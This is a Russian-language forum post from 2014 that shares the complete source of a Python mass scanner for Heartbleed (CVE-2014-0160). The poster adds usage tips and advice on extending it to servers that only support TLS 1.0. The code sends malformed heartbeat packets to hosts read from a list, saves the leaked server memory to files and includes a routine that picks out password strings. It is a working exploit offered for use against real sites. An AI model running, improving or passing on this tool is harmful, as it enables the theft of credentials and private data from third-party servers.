z0mbie, вот:
Код:
#!/usr/bin/env python
import socket, ssl, pprint
import Queue
import pickle
import threading,time,sys,select,struct,urllib,time,re,os
from optparse import OptionParser
options = OptionParser(usage='%prog [options]', description='cve-2014-0160 Mass Scanner by Rahul Sasi (fb1h2s)')
options.add_option('-f', '--file', type='string', default='scan.txt', help='File with hosts for scan')
options.add_option('-t', '--threads', type='int', default=10, help='Threads count')
hello_packet = '16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000'.decode('hex')
hb_packet = '1803020003014000'.decode('hex')
def password_parse(the_response):
the_response_nl= the_response.split(' ')
#Interesting Paramaters found:
for each_item in the_response_nl:
if "=" in each_item or "password" in each_item:
print each_item
def recv_timeout(the_socket,timeout=2):
#make socket non blocking
the_socket.setblocking(0)
#total data partwise in an array
total_data=[];
data='';
#beginning time
begin=time.time()
while 1:
if total_data and time.time()-begin > timeout:
break
elif time.time()-begin > timeout*2:
break
try:
data = the_socket.recv(8192)
if data:
total_data.append(data)
#change the beginning time for measurement
begin=time.time()
else:
#sleep for sometime to indicate a gap
time.sleep(0.1)
except:
pass
return ''.join(total_data)
def tls(target_addr):
try:
server_port =443
target_addr = target_addr.strip()
if ":" in target_addr:
server_port = target_addr.split(":")[1]
target_addr = target_addr.split(":")[0]
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
print >>sys.stderr, '\n[+]Scanning server %s' % target_addr , "\n"
print "##############################################################"
sys.stdout.flush()
client_socket .connect((target_addr, int(server_port)))
#'Sending Hello request...'
client_socket.send(hello_packet)
recv_timeout(client_socket,3)
print 'Sending heartbeat request...'
client_socket.send(hb_packet)
data = recv_timeout(client_socket,3)
if len(data) > 7 :
print "[-] ",target_addr,' Vulnerable Server ...\n'
save_file = open("save.txt", 'a')
pickle.dump(target_addr, save_file)
save_file.close()
if os.path.exists(target_addr+".txt"):
file_write = open(target_addr+".txt", 'a+')
else:
file_write = file(target_addr+".txt", "w")
file_write.write(data)
else :
print "[-] ",target_addr,' Not Vulnerable ...'
except Exception as e:
print e,target_addr,server_port
class BinaryGrab(threading.Thread):
"""Threaded Url Grab"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
url = self.queue.get()
tls(url)
#Scan targets here
#signals to queue job is done
self.queue.task_done()
start = time.time()
def manyurls(server_addr, threads_count):
queue = Queue.Queue()
#spawn a pool of threads, and pass them queue instance
for i in range(threads_count):
t = BinaryGrab(queue)
t.setDaemon(True)
t.start()
#populate queue with data
for target in server_addr:
queue.put(target)
#wait on the queue until everything has been processed
queue.join()
if __name__ == "__main__":
opts, args = options.parse_args()
print "[+] cve-2014-0160 Mass Scanner by Rahul Sasi (fb1h2s)"
read_f = open(opts.file, "r")
server_addr = read_f.readlines()
#or provide names here
#server_addr = ['yahoo.com']
manyurls(server_addr, opts.threads)
ключик -t задает кол-во потоков (по умолчанию 10), -f файл со списком сайтов. Но по хорошему скрипт нужно переписывать, как минимум он не учитывает сервера которые не могут работать с TLS 1.1 только 1.0, но все равно уязвимы (я таких встречал, их совсем не много но они есть), им достаточно отправлять heartbeat запрос с указанием правильной версии.
09.04.2014, 01:03
Линейный вид
